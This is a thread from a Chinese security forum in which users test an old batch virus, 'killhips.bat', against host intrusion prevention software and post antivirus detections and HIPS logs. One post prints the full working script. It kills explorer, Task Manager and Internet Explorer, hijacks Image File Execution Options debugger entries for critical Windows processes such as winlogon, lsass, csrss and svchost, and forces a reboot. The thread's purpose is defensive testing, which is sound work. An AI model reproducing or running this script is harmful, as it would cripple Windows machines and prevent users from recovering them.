主流扫描都认识,看名称针对hips的,测试注意安全

tgzw1680

测试请用虚拟机..........

syfwxmh

很老的一个病毒了

估计HIPS都修复了

dokhell

怎么下不了啊？

wptyh73hm

Access to the data has been denied!
Warning: A virus or unwanted program has been found in the HTTP Data.

Requested URL:  http://bbs.kafan.cn/attachment.p ... e5&t=1233804837
Information:  Contains recognition pattern of the BAT/ExecOpt batch virus  
认识就行。

--------------------------------------------------------------------------------
Generated by AntiVir WebGuard 8.0.15.0, AVE 8.2.0.74, VDF 7.1.1.227

250662772

@echo off
echo 正在结束系统文件，请稍等......

taskkill /f /im explorer.exe
taskkill /f /im iexplorer.exe
taskkill /f /im taskmgr.exe


reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe" /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smss.exe" /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrss.exe" /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe" /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.exe" /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe" /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe" /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regsvc.exe" /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe " /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mstask.exe " /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplorer.exe" /v debugger /t reg_sz /d debugfile.exe /f

shutdown -r -t 59 -c "你的电脑已经玩完了！"

2009-02-05 12:26:56 应用程序保护(运行应用程序)     操作:阻止并结束进程
进程路径:C:\WINDOWS\System32\cmd.exe
文件路径:C:\WINDOWS\System32\taskkill.exe
命令行:/f /im explorer.exe


2009-02-05 12:26:55 应用程序保护(运行应用程序)     操作:阻止
进程路径:C:\WINDOWS\System32\cmd.exe
文件路径:C:\WINDOWS\System32\conime.exe

hddu

实机测试，企图挂起进程explorer.exe被阻止，出现下面窗口，0分钟后，系统自动重启，一切正常，无大问题


[ 本帖最后由 hddu 于 2009-2-5 13:12 编辑 ]

panqilong

点了右键另存为以后，KIS8.0就报了

tgzw1680

hips的继续啊,点饭也可以来啊.老漏洞都堵上没有,

sam.to

Scanned file:   killhips.rar  - Infected
killhips.rar/killhips.bat - infected by Trojan.Win32.KillAV.qa

雨宫优子

Image File Execution Options...


貌似EQ某个规则往这里写入东西会被阻止并结束进程...